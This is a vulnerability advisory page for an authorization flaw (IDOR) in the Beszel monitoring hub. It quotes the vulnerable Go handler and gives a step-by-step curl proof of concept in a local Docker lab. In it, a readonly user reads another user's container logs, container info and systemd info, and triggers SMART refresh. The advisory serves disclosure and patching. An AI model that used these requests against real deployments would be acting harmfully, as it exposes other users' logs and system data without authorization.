Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-5f5r-95pg-xrpm

LowCVSS 3.5 / 10
Published Apr 10, 2026·Last modified Apr 10, 2026
Affected Components(0)

No affected components available

Description

Summary

Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.

System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.

Affected Component

  • File: internal/hub/api.go, lines 283–361
  • Endpoints:
    • GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID
    • GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID
    • GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME
    • POST /api/beszel/smart/refresh?system=SYSTEM_ID
  • Commit: c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84

Vulnerable Code

The containerRequestHandler function retrieves a system by ID but never verifies the authenticated user is a member of that system:

// internal/hub/api.go:283-305
func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {
    systemID := e.Request.URL.Query().Get("system")
    containerID := e.Request.URL.Query().Get("container")

    if systemID == "" || containerID == "" {
        return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"})
    }
    if !containerIDPattern.MatchString(containerID) {
        return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"})
    }

    system, err := h.sm.GetSystem(systemID)
    // ^^^ No authorization check: e.Auth.Id is never verified against system.users
    if err != nil {
        return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"})
    }

    data, err := fetchFunc(system, containerID)
    if err != nil {
        return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()})
    }

    return e.JSON(http.StatusOK, map[string]string{responseKey: data})
}

The same pattern applies to getSystemdInfo (lines 322–340) and refreshSmartData (lines 342–361).

Meanwhile, the standard PocketBase collection API enforces proper membership checks:

// internal/hub/collections.go:56-57
systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id"
systemMemberRule  := authenticatedRule + " && system.users.id ?= @request.auth.id"

These rules are only applied to the PocketBase collection endpoints, not to the custom routes registered on apiAuth.

PoC

The proof: The standard PocketBase API returns 404 (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.

Step 1: Start the hub

cd ~/Evidence/henrygd/beszel/finding418/docker-poc/
docker compose up -d

Wait a few seconds, then verify:

curl -s http://localhost:8090/api/health

Expected: {"message":"API is healthy.","code":200,"data":{}}

Step 2: Create User A (admin)

Open http://localhost:8090 in a browser and create the first user:

  • Email: usera@test.com
  • Password: testpassword1

Step 3: Create User B (readonly)

In the Beszel UI, go to Users and add a new user:

  • Email: userb@test.com
  • Password: testpassword2
  • Role: readonly

Step 4: Authenticate as User A

TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
  -H "Content-Type: application/json" \
  -d '{"identity":"usera@test.com","password":"testpassword1"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "TOKEN_A=$TOKEN_A"

Step 5: Get hub public key

HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['key'])")

echo "HUB_KEY=$HUB_KEY"

Step 6: Create a universal token and start the agent

UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "UTOK_A=$UTOK_A"

Find the Docker network the hub is on:

NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
echo "Network: $NETWORK"

Start the agent on the same network so the hub can reach it:

docker run -d --name beszel-agent-a \
  --network "$NETWORK" \
  -e HUB_URL=http://beszel-hub:8090 \
  -e TOKEN="$UTOK_A" \
  -e KEY="$HUB_KEY" \
  henrygd/beszel-agent:latest

Wait a few seconds for the agent to register:

sleep 5

Step 7: Verify User A sees the system

curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_A" | python3 -m json.tool

You should see one system in items. Save the system ID:

SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])")

echo "SYSTEM_A_ID=$SYSTEM_A_ID"

Step 8: Authenticate as User B (readonly)

TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
  -H "Content-Type: application/json" \
  -d '{"identity":"userb@test.com","password":"testpassword2"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "TOKEN_B=$TOKEN_B"

Verify User B sees NO systems:

curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: "totalItems": 0

Step 9: Control test — standard API blocks User B

echo "=== Standard PocketBase API ==="
curl -s -w "\nHTTP Status: %{http_code}\n" \
  "http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \
  -H "Authorization: $TOKEN_B"

Expected: 404 — RBAC correctly hides the system from User B.

Step 10: IDOR — SMART refresh (User B triggers action on User A's system)

echo "=== IDOR: POST /api/beszel/smart/refresh ==="
curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \
  -X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.

Step 11: IDOR — Systemd info (User B reads from User A's system)

echo "=== IDOR: GET /api/beszel/systemd/info ==="
curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: Hub contacts the agent and returns systemd data or an agent-level error.

Step 12: IDOR — Container logs (User B reads from User A's system)

Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:

# Get a real container ID from Docker (first 12 hex chars)
CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)
echo "CONTAINER_ID=$CONTAINER_ID"

echo "=== IDOR: GET /api/beszel/containers/logs ==="
curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Step 13: IDOR — Container info (User B reads from User A's system)

echo "=== IDOR: GET /api/beszel/containers/info ==="
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Impact

  • Container logs: Content of recent application logs, potentially including sensitive information
  • Container info: Content of Docker engine API's /containers/{id}/json endpoint, excluding environment variables
  • Systemd info: Unit properties and status for any monitored service
  • SMART refresh: Trigger a SMART data update on any system
Risk Scores
Base Score
3.5

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information.

Threat Intelligence
3.2

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.22%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard